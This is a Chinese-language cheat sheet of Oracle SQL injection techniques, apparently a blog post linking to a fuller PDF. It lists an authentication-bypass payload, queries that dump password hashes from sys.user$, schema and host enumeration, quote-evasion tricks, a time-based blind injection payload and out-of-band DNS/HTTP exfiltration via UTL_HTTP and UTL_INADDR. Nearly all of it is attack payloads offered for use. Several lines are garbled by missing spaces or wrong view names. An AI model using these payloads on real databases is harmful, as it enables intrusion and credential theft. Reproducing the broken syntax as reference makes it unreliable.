数据库的一些注入技巧-Oracle

admin

默认数据库

SYSTEM

SYSAUX

注释

--

SELECT * FROM Users WHERE username = '' OR1=1 --' AND password = '';

查询版本信息

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

SELECT banner FROM v$version WHERE banner LIKE 'TNS%';

SELECT version FROM v$instance;

数据库凭证

SELECT username FROM all_users;	支持所有版本
SELECT name, password from sys.user$;	高权限, <= 10g
SELECT name, spare4 from sys.user$;	高权限, <= 11g

查询数据库信息查询当前库

SELECT name FROM v$database;

SELECT  instance_name FROM v$instance

SELECT  global_name FROM global_name

SELECT  SYS.DATABASE_NAME FROM DUAL

用户数据库

SELECT DISTINCT owner FROM  all_tables;

主机名称

SELECT host_name FROM v$instance; (Privileged)

SELECT UTL_INADDR.get_host_name FROM dual;

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;

SELECT UTL_INADDR.get_host_address FROM dual;

查询表和列查询表

SELECT table_name FROM  all_tables;

查询列

SELECT column_name FROMall_tab_columns;

从列中查询表

SELECT column_name FROM all_tab_columns WHEREtable_name = 'Users';

从表中查询列

SELECT table_name FROMall_tab_tables WHERE column_name = 'password';

查询多个表信息

SELECT RTRIM(XMLAGG(XMLELEMENT(e,  table_name || ',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM  all_tables;

避免使用引号

SELECT 0x09120911091 FROM dual;	Hex编码
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual;	CHR() 函数

字符串拼接

SELECT 'a'||'d'||'mi'||'n' FROM dual;

条件语句

SELECT CASE WHEN 1=1 THEN 'true'  ELSE 'false' END FROM dual

时间注入

SELECTUTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;

AND (SELECT COUNT(*) FROM all_users t1, all_userst2, all_users t3, all_users t4, all_users t5) > 0 AND 300 >ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));

查询权限

SELECT privilege FROM  session_privs;

SELECT  grantee, granted_role FROM dba_role_privs; (Privileged)

DNS带外

SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;

SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;

全文pdf下载地址：

https://www.chinabaiker.com/sql.pdf